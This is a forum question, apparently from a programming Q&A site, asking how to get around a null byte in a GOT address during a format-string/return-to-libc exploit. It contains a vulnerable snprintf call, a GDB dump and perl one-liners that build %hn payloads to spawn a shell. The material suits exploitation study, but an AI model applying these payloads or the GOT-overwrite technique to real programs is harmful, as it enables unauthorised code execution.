title: Return To Libc with Null byte in the addr
body: <p>I am trying to perform a return to libc format string attack, but the address I want to write to ( 0x0804a000) has a null byte in it!!  I have to read in my format string to snprintf so the null byte causes it to malfunction and Segfaults randomly. </p>
  
  <pre><code>buf[70];
  snprintf(buf, 80, argv[1]);
  printf(buf);
  </code></pre>
  
  <p>Here is the GDB dump for printf@plt:</p>
  
  <pre><code>(gdb) disassem 0x080483c0
  Dump of assembler code for function printf@plt:
  0x080483c0 &lt;+0&gt;:    jmp    *0x804a000
  0x080483c6 &lt;+6&gt;:    push   $0x0
  0x080483cb &lt;+11&gt;:   jmp    0x80483b0
  End of assembler dump.
  </code></pre>
  
  <p>Does anyone have any ideas?</p>
  
  <p>My current method is running it like this</p>
  
  <pre><code>./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`
  </code></pre>
  
  <p>but there is a null byte. I have also tried</p>
  
  <pre><code>./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`
  </code></pre>
  
  <p>but the address before <code>0x0804a000</code> has the global offset table, and therefore snprintf Segfaults before even returning the to function that calls it.</p>